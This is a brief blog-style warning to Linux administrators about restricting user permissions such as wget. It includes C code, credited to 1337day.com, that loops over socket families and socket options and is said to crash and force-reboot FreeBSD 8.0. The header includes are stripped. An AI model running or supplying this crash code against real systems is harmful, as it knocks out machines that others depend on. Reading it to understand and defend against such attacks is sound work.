UNIX/Linux Capabilities

If you are an admin linux then you should be more careful in maintaining your servers, because there are many loopholes can be used by attacker to destroy your system. Before all that happens, take precautions such as explaination will I briefly describe.
Linux Capabilities.
its actually this is a matter of permissions, but we often forgot the small things, and the impact of forgetful trivial problem is very large. As I wrote before about "wget" while makes it easy but also to be a disaster, why be a disaster?. because if you allow a normal user to do a wget then he can use your server as a server to download, or the user can download exploits that can be used to damage the system and seize the user "root" in your system.
I give example code I took from 1337day.com than this code can make freebsd 8.0 force reboot if attacker run this code in your system.

#include 
#include 
#define PAGE_SIZE 4096
#include 
#include 
#include 
main() {
       int k,fd,i2,i3,i4,i5,i6,i7,i8;
char *p;
      char buf[4096];
 
      for (i2=0;i2<256;i2++) {
       for (i3=0;i3<2;i3++) {
       for (i4=0;i4<2;i4++) {
       fd = socket(i2, i3, i4);
       if (fd < 0) continue;
       printf("SUCCESS!\n");
       for (i5=0;i5<100;i5++) {
       for (i6=0;i6<100;i6++) {
       setsockopt(fd, i5, i6, buf, 4);
       getsockopt(fd, i5, i6, buf, &i7);
       }}}}}
}